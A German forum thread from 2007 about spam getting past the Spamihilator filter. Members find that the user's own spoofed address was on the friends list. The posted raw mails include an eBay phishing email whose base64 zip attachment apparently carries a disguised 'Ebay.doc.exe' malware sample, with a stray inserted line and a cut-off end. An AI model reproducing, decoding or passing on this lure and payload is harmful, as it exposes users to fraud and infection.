Spammails übergehen Spamihilator - keine Dokumentation

[navada]

Liebe Forumsmitglieder,

heute und vor einigen Tagen sind es zwei Spammails gelungen, meinen Spamihilator zu übergehen bzw. zu unterwandern. Alle ankommenden Nachrichten gelangen doch erst einmal in den Trainingsbereich? Diese beiden konnte ich dort allerdings nicht wiederfinden, so dass ich auch kein schlafendes PlugIn dafür verantwortlich machen konnte. Andere Spams konnten erfolgreich wie jeher abgewehrt werden.

Ist das Problem bekannt? Kann man es bekämpfen? Gibt es bereits Erfahrungsberichte? Habe ich eine Forumsdiskussion übersehen??

Für weitere Informationen wäre ich sehr dankbar.

Grüße,
nav

[anbuva]

Hallo navada!

Schon relativ sehr ungewöhnlich, wenn Mails bei Spami durchrutschen und weder im TB noch im Papierkorb, dafür dann aber normal im Posteingang auftauchen; wir brauchen also ein paar Infos mehr: Benutzt Du mehrere Mailkonten und stammen die besagten Mails (nur) von einem anderen Konto? Welche Version von Spami nutzt Du? Welche Filter (Freundeliste?) sind dort aktiv?

Gruß
anbuva

[navada]

Hallo anbuva,

ich habe mehrere Mailkonten, die ich aber alle zu einer sammle. Dieses rufe ich dann ab und mein Spamihilator checkt auch immer brav. Die Spammail, die ich heute erhalten habe, stammt auch von diesem Konto, erschien aber in keiner Liste (andere wurden gleichzeitig in die Listen "aufgenommen"). Meine Spami-Version ist die 0.9.9.10
Aktiviert habe ich plusminus alle Filter (33 Stück), außer den Blacklist-Filter.
Wie gesagt, ich stehe auch vor einem Rätsel!

Vorab schon einmal herzlichen Dank,
navada

[anbuva]

Hallo navada!

Nach Deiner Schilderung flog diese Email als einzige also an alle Filter vorbei, so dass diese nicht mal als gute Mail gefiltert werden konnte. Hast Du vielleicht irgendwelche Einträge in der Liste der Freunde? Da Du ja sagst, dass die Mail Spam ist, würde es mich doch interessieren, wie diese aussah. Kannst Du diese Mail hier mal reinkopieren? Mache Deine Adresse darin aber bitte unkenntlich

Gruß
anbuva

[navada]

Hallo anbuva,

in meiner Freundesliste stand dieser Absender bestimmt nicht drinnen. Hier erst einmal ein Bild:



Hier der dazugehörige Quellcode (meine eMail-Adresse habe ich durch "xxx" ersetzt):

Return-Path: <XXXXXX@gmx.de; habe ich mal zusätzlich editiert; Gruß anbuva>
X-Flags: 1001
Delivered-To: GMX delivery to xxx
Received: (qmail invoked by alias); 28 Mar 2007 12:26:59 -0000
Received: from static-13-178-6-89.ipcom.comunitel.net (HELO static-13-178-6-89.ipcom.comunitel.net) [89.6.178.13]
by mx0.gmx.net (mx098) with SMTP; 28 Mar 2007 14:26:59 +0200
Received: (qmail 6676 by uid 303); Wed, 28 Mar 2007 04:27:17 +0100
Message-Id: <20070328052717.6678.qmail@static-13-178-6-89.ipcom.comunitel.net>
To: <xxx>
Subject: Doctor Pansy
From: MedHelp <xxx>
Content-Type: text/html
Date: Wed, 28 Mar 2007 14:26:59 +0200
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: -2 (not scanned, spam filter disabled)
X-GMX-UID: J20zflECYW0+6LgaU2dp8V50amthc1tH

<style>

(He's away on business, and his wife is out all day at work, and I'm
guessing neither of them has much of a clue of the right way to go
about it, any more than I do really)


>

<!

I have checked the Default Time Zone setting for the
default virtual server on SharePoint central
administration as well as all the individual site
settings. Every where it is configured to use GMT-06.00 -
Central Time (US & Canada). However if anyone create or
modify a document in SharePoint (any site) the time
showing on SharePoint is different than the system time of
the same server. Suppose if the current time on the server
clock is 2.34 AM, then the modified document time on the
SharePoint would be 1.34 AM.



>

<!
Sorry, but your problem does not imply a bug in PHP itself. For a
list of more appropriate places to ask for help using PHP, please

appropriate forum for asking support questions.

</style><a target="_blank" href="http://www.searhgo.hk/index1.htm" ><img src="http://newfork.cd/1.gif">
<style>
In our past parking deal, OUT NORTH agreed not to have events on
Sunday so that churchgoers could use our lot during daytime and
evening services. Now that this agreement is no longer in effect, we
will look at adding Sunday events.
Our first will be this Sunday, March 6th at 6pm, with local band
STUBBY'S CRACK CO. headlining a concert of work by young musicians as
part of our Alaska Artist Access program. Details will be available
online later this week; low-price tickets will be sold at the door
only, and earplugs will be available for purchase>

Actually, looks like I screwed up the placement anyways, and the slave
goes on the end.

Jim, you probably don't have to worry about it either way.
I know I shouldn't bitch, and that this is proof that resources are
needed, like volunteers, and that I should volunteer, but I just
can't do it right now. It was just too hard on my heart seeing
first hand what goes on. I salute all of the volunteers in rescue
groups that do this stuff on a regular basis and make a difference.
Groeten en knuffels van ICY aan iedereen van nltest!

En ja het gaat goed maar haar....
Nog steeds wel RSI, maar wel langzaam minderend....

--
Dolfy
- Webstek : - Nieuwsgroep :
- (Ook bereikbaar via groupsgoogle
- Rain... Is that what you call this? I like it.' (Aeryn Sun - Farscape)

Can anyone recommend a maroon shade, particularly an OPI one? I usually
wear silver (OPI Pearl of Wisdom or Sally Hansen's Chrome Nail Make-up in
psychiatrist had told me that he thought I was fit enough to return to
work, and that I was willing to return when the current sick note
expired on 17th February. I received an emailed reply from my manager to
say that he preferred me to remain at home until he wrote to the
psychiatrist. To be precise, his email said: "I would much prefer it,

Bonjour,

Je vais effectuer ce soir ma premiere photo du ciel profond avec mon
Arcane 180 F/D 6.
Comment puis-je effectuer une mise-en-station correcte pour prendre M92
par exemple (15 mn de pose) ?
J'aimerais bien une explication concrete sur la mise en station du type
Bigourdan; tout ce que j'ai pu trouver la dessus etait un peu confus !

</style>

navada

[Quellcore]

Hier der dazugehörige Quellcode (meine eMail-Adresse habe ich durch "xxx" ersetzt):
...
To: <xxx>
Subject: Doctor Pansy
From: MedHelp <xxx>
...

Hallo navada,

Na, das Problem mittlerweile selbst erkannt
Anbuva scheint recht gehabt zu haben, Deine eigene Email-Adresse ist wahrscheinlich auf der Freundesliste.
Da Deine eigene Email-Adresse in dem Mailheader als Absender XXX auftaucht (From: MedHelp <xxx>), wird die Mail whrscheinlich als Non-Spam wegen eines Eintrages in der Freundesliste behandelt.
Bei aktivierter Option "Lerne automatisch von meinen Freunden" landet diese Mail dann auch nicht im Trainingsbereich.

Die eigenen Mail-Adressen sollten nicht in die Freundesliste eingetragen werden

siehe z.B. auch diesen anderen Beitrag: Als Empfänger getürkter Absender

Gruß,
Quellcore

[navada]

Ich habe heute nacht erneut eine Spam bekommen mit meiner Adresse als Absender...

@Quellcore: Vielen Dank für Deine Hilfe und den Querverweis. Ich habe mich erst einmal aus der Freundesliste gelöscht. Allerdings finde ich es rätselhaft, warum mein Signature PlugIn nicht funktioniert, da ich diesen mit einem Teil meiner Adresse gefüttert habe Aber das ist jetzt ein anderes Thema und ich werd mich hier im Forum erst mal auf die Suche machen...

Liebe Grüße @all,
nav

[Quellcore]

Allerdings finde ich es rätselhaft, warum mein Signature PlugIn nicht funktioniert, da ich diesen mit einem Teil meiner Adresse gefüttert habe

Weil das Signature Plugin gar nicht mehr zum Zuge kommt

Der interne Spami-Ablauf bei einer Mail-Klassifizierung ist in etwa folgendermßen:

1. Überprüfung, ob Absender in der Liste der Freunde ist
2. Überprüfung, ob Absender in der Liste der blockierten Absender ist
3. Überprüfung der Mail durch die Filter-Plugins (z.B. Signature Plugin) in der angegebenen Filterreihenfolge, bis ein Filter eine eindeutige Entscheidung treffen kann.

Gruß,
Quellcore

[Chactory]

Hallo Quellcore!

Woran hast Du denn jetzt gesehen, daß Navada in seiner eigenen Freundeliste stand? (Gedacht habe ich es mir auch ...)
Übrigens ganz schön ausgebuffte Spammail, mit dem Bild und dem Zufallstext ...

Gruß, Chactory

[Quellcore]

Woran hast Du denn jetzt gesehen, daß Navada in seiner eigenen Freundeliste stand? (Gedacht habe ich es mir auch ...)

Das würdest Du wehl gerne wissen
Ich habe es natürlich auch nicht gewußt, sondern 1 und 1 zusammengezählt (Das sind doch 3, oder?) und es dann vermutet.

Anbuva scheint recht gehabt zu haben, Deine eigene Email-Adresse ist wahrscheinlich auf der Freundesliste.

In letzter Zeit gab es häufiger Meldungen, daß Mails einfach so am Spami vorbeischlupfen, auch im Englischen Bereich des Forums.
Ich habe mich schon sehr häufig gedanklich mit dieser Situation auseinander gesetzt.
Gesetzt dem Fall, daß Spami ansonsten korrekt funktioniert, gibt es eigentlich nur die folgenden Möglichkeiten, daß eine Mail im Mailprogramm ankommt und keine Spuren von dieser Mail im Trainingsbereich des Spami zu finden sind:

1. Mail kommt auf einem Mailkonto an, das nicht für Spami konfiguriert ist.
2. Absender ist auf Freundesliste und die Option "Lerne automatisch von meinen Freunden" ist aktiviert
3. Newsletter-Filter ist installiert, Empfänger-Mailadresse ist im Newsletter-Filter unter Newsgroups eingetragen und die Option "speichere Newsletter nicht im Trainingsbereich" ist aktiviert
4. Es ist ein uns nicht bekanntes Plugin im Einsatz, das in der Lage ist Non-Spam zu erkennen und dabei keine Kopie der Mails im Trainingsbereich ablegt. (Sehr Theoretisch, aber möglich und eventuell so gewollt)

Auf der Suche nach dem Schuldigen arbeite ich diese Liste gerne in der genannten Reihenfolge ab.
Anbuva hat durch seine Fragen Punkt 1) ausgeschlossen.
Bzgl. Punkt 2) hat Navada geantwortet, daß dieser Absender bestimmt nicht auf seiner Freundesliste sei.
Als ich dann noch in den Rohdaten gesehen habe, daß seine Mailadresse XXX als Absender in dieser Spammail auftaucht, hab ich all mein Hab und Gut auf die eigene Mailadresse in der Freundesliste gesetzt.
Punkt 3) wäre schon wieder sehr unwahrscheinlich gewesen, da dieser Fehler ja Unmengen an Falscherkennungen produiziert, wenn man seine eigene Mailadresse unter Newsgroups einträgt.
Es ging hier aber nur um 2 Ausreißer.

Übrigens ganz schön ausgebuffte Spammail, mit dem Bild und dem Zufallstext ...

Ich werde dies Mail auch noch mal durch meinen Spami-Parcours jagen.
Zur Zeit tippe ich mal darauf, daß diese durch den lernenden Filter aussortiert würde.
Diesmal setze ich allerdings nicht mein Hab und Gut.

Gruß von
Quellcore

[anbuva]

Hallo navada!

Habe Deine bzw. die Absender-Adresse oben nochmal editiert und zum Rest brauche ich wohl, dank unserer Nachtschicht , nichts mehr hinzufügen...

Gruß
anbuva

[navada]

@anbuva
danke fürs zusätzliche editieren. Die Adresse war nur ungefähr meine, da habe ich sie gelassen.

in meiner Freundesliste stand dieser Absender bestimmt nicht drinnen.

Da war ich leider etwas zu voreilig . Hatte ganz vergessen, dass Spammails die eigene Adresse klauen.

@Quellcore
danke für Deine eindrucksvolle Zusammenfassung. Wie hat Dein Spamihilator auf dei Mail reagiert?

nav

[Quellcore]

@Quellcore
danke für Deine eindrucksvolle Zusammenfassung.
Wie hat Dein Spamihilator auf die Mail reagiert?

Gern geschehen!
Hier kommt die Maus: Wie man sieht war mein Tip mit dem lernenden Filter recht gut


Meine dazugehörige Filterreihenfolge:


Gruß,
Quellcore

[navada]

...diesmal steht der Absender auch nicht in der Freundesliste. Hier poste ich mal den Quelltext:

Return-Path: <support@ebay.de>
X-Flags: 1001
Delivered-To: GMX delivery to XXX.XXX@gmx.de
Received: (qmail invoked by alias); 16 Apr 2007 19:59:36 -0000
Received: from adsl-70-237-60-86.dsl.hstntx.sbcglobal.net (EHLO adsl-70-237-60-86.dsl.hstntx.sbcglobal.net) [70.237.60.86]
by mx0.gmx.net (mx044) with SMTP; 16 Apr 2007 21:59:36 +0200
Received: from lm-q9byfmah5w1h (lm-q9byfmah5w1h [192.168.3.107])
by lm-q9byfmah5w1h (8.12.8p1/8.12. with ESMTP id i51E045EADFB18
for <XXX.XXX@gmx.de>; Mon, 16 Apr 2007 10:00:51 -0500
(envelope-from support@ebay.de)
Date: Mon, 16 Apr 2007 10:00:51 -0500
From: "EBay" <support@ebay.de>
Reply-To: "EBay" <support@ebay.de>
X-Priority: 3 (Normal)
Message-ID: <057485816.20070416150051@ebay.de>
To: XXX.XXX@gmx.de
Subject: Ihre Ebay E-Mail wurde geandert
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----------FDDB339B6D9A7D7"
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: -2 (not scanned, spam filter disabled)
X-GMX-UID: yrFLC4tGbHIy465RCzU0K7wqJihyahAm

------------FDDB339B6D9A7D7
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head><body>
<strong>eBay-Hinweis zu ge&auml;nderter E-Mail-Adresse</strong><br>
Hallo sehr geehrter Ebay Mitglied,<br>
<br>
Vielen Dank f&uuml;r Ihren Antrag auf &Auml;nderung Ihrer E-Mail-Adresse. Anleitungen zur Durchf&uuml;hrung der &Auml;nderung wurden an Ihre neue E-Mail-Adresse gesendet.<br>
<br>
<strong>Falls die Email Adressen nicht von Ihnen ge&auml;ndert wurde dann f&uuml;hren Sie sofort Schritte aus die in dem beigelegtem Dokument beschrieben sind!</strong><br>
<br>
Sobald der Vorgang abgeschlossen ist, werden Ihre E-Mails bez&uuml;glich eBay nicht mehr an diese E-Mail-Adresse weitergeleitet.<br>
<br>
Wenn Sie diese &Auml;nderung nicht vorgenommen haben, fragen Sie bitte zuerst Familienmitglieder und andere Personen, die evtl. Zugang zu Ihrem<br>
Mitgliedskonto haben. Wenn Sie glauben, dass eine nicht autorisierte Person Ihre E-Mail-Adresse ge&auml;ndert hat dann f&uuml;hren Sie sofort Schritte aus die in dem beigelegtem Dokument beschrieben sind!<br>
<br>
Vielen Dank,<br>
eBay<br>
------------------------------------------------------------------<br>
<br>
Wenn Sie Fragen zu den eBays-Grunds&auml;tzen haben, lesen Sie bitte unsere Datenschutzerkl&auml;rung und die Allgemeinen Gesch&auml;ftsbedingungen. <br>
Datenschutzerkl&auml;rung: <br>
<a href="http://pages.ebay.de/help/policies/privacy-policy.html" target="_blank">http://pages.ebay.de/help/policies/privacy-policy.html</a> <br>
<br>
Allgemeine Gesch&auml;ftsbedingungen: <br>
<a href="http://pages.ebay.de/help/policies/user-agreement.html" target="_blank">http://pages.ebay.de/help/policies/user-agreement.html</a><br>
<br>
Copyright &nbsp; 2006 eBay Inc. Alle Rechte vorbehalten.<br>
Die genannten Marken sind das Eigentum ihrer jeweiligen Inhaber.<br>
eBay und das eBay-Logo sind eingetragene Marken bzw. Marken von eBay Inc.<br>
------------------------------------------------------------------<br>
Bitte beachten Sie, dass es sich bei dieser E-Mail um eine vom System versendete Mitteilung handelt. Eine Antwort auf diese E-Mail &uuml;ber die Antwortfunktion Ihres Mail Programms ist daher nicht m&ouml;glich. Bei Fragen an unseren Kundenservice klicken Sie bitte auf den folgenden Link oder kopieren Sie ihn in Ihren Browser:<br>
<a href="http://pages.ebay.de/help/basics/select-support.html" target="_blank">http://pages.ebay.de/help/basics/select-support.html</a><br>
</body></html>
------------FDDB339B6D9A7D7
Content-Type: application/x-zip-compressed; name="66928374.zip"
Content-transfer-encoding: base64
Content-Disposition: attachment; filename="5854307.zip"

UEsDBBQAAAAIAO67jzZF0nIygSEAAABcAAAMAAAARWJheS5kb2MuZXhl7Fp/dNNVln9p0zaU
QEppoECAAJmdHodFsKhoUQM2gNKOafqDghSKoBOjImriMg7USMh6vufrF+uselx0d9DRWX8w
O6yCpyhixkYoUrSydSdnqDtV6/hqo+IvrA763c9932+Sb1LYcffs2b/MObfvvfvuu+++e9+7
9773be2qdpbPGDMDVJWxDqb93Oyv/ywmxsZOf2Es2zvq2IwOU82xGQ3+629zbrr15p/duu4m
5/p1GzfeHHRec63z1tBG5/UbndVX1TtvunnDtXPGjCl26Txe23bx2h3vNVhT8KXabL0XZfL0
Uus2lGPUVdZ7UL5zeq1errFGRekV7Y5X11oVUXpFueO9RutCnZcMuOJ9n+Dnu369n3BnW4vX
w1iNycx+Jc9cksL1M5tptKmQsWo0yjTcKlJMCaBV1xLV8zT9MZYpWTjTyBN/SzTadJkuxG8Z
Zt1MlU1gPep7KP/7/jDJ3Lyzd88JXrs5iHLHQl2gS5lhEdrPCVUIunnQE/V5AVALWzyCrnXO
hnXBdaBLWJimo2LAsmw6N2OxObfedut6pq91k07nG0Hn/n6L/OH3v/0tqGHsbwClAFaj4Q5e
yVgvgANOAb4DTF7O2GzAQsB5aHtRuqkEXAPYCNgO2Al4HLDnSo3X1DwWnpHPwjeWsPA+wIWo
XwQ4F/As2otKWXjnWBZeNo6Fx6J+0sbCRVYW/hS4rwCnALtGs3CdmYWfQnkQfW7ALaB/EeVy
wG+A901AfxlwgFXg8wn4PFHMws+jvRdQOoaFV49i4atQXwRePvSvx5ge4L4B/D34fVDOwhWF
LByAXO2g+S1kXA2YhzW8D9pTJBdo/hHtF4tYeJ0Jc6H/GcDwJBZeaWfhMvSpE1l4GnDHQFME
/COoX4l57ejrhkzPooyjrx88VwAfBR8HcJVovz2ZhSehzsHrPdSdGDsK807MEx6FuaDXUoAZ
8MUVjA0AegBxwF7A04DHAPcD7gFsBmwArALUALbBxt/gPFpRnwA4B3ABIO8KzV7vwq6vAJ4F
* POLICY VIOLATION ! *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
